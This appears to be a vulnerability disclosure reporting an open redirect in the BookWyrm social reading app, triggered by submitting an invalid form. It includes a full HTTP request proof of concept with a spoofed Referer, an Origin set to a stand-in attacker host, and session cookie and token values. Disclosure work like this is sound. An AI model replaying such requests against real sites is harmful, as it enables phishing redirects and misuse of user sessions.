Insecure redirect when submit invalid form in bookwyrm-social/bookwyrm
Reported on
Jul 14th 2022
Description
When submit invalid form, the server will redirect to url which obtain via Referrer
header.
Proof of Concept
POST /create-shelf HTTP/2
Host: book.dansmonorage.blue
Cookie: csrftoken=ZpIuGbCcxOyhta5bki4N46N7vknEAcpaG3881kcMAfWKBEYKEiLEeSc3Sr4lUTVa; django_language=en-us; sessionid=eehh5ghe5q98xephiv46onn3jixdgx7p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://google.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: https://fishing.attacker.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
csrfmiddlewaretoken=aCHsAiZx3GMVTl4XkpU7hpChuv6mePSLRg76Vrz767ao1PXwEpBYrb1dRCN3ywoL&user[]=6858&name=IDORRRRRRRRRRRRRR&description=133123123123&privacy=public
PoC Image
Impact
This vulnerability is capable of redirect user to fishing, redirect to attack host,...
SECURITY.md
exists
a year ago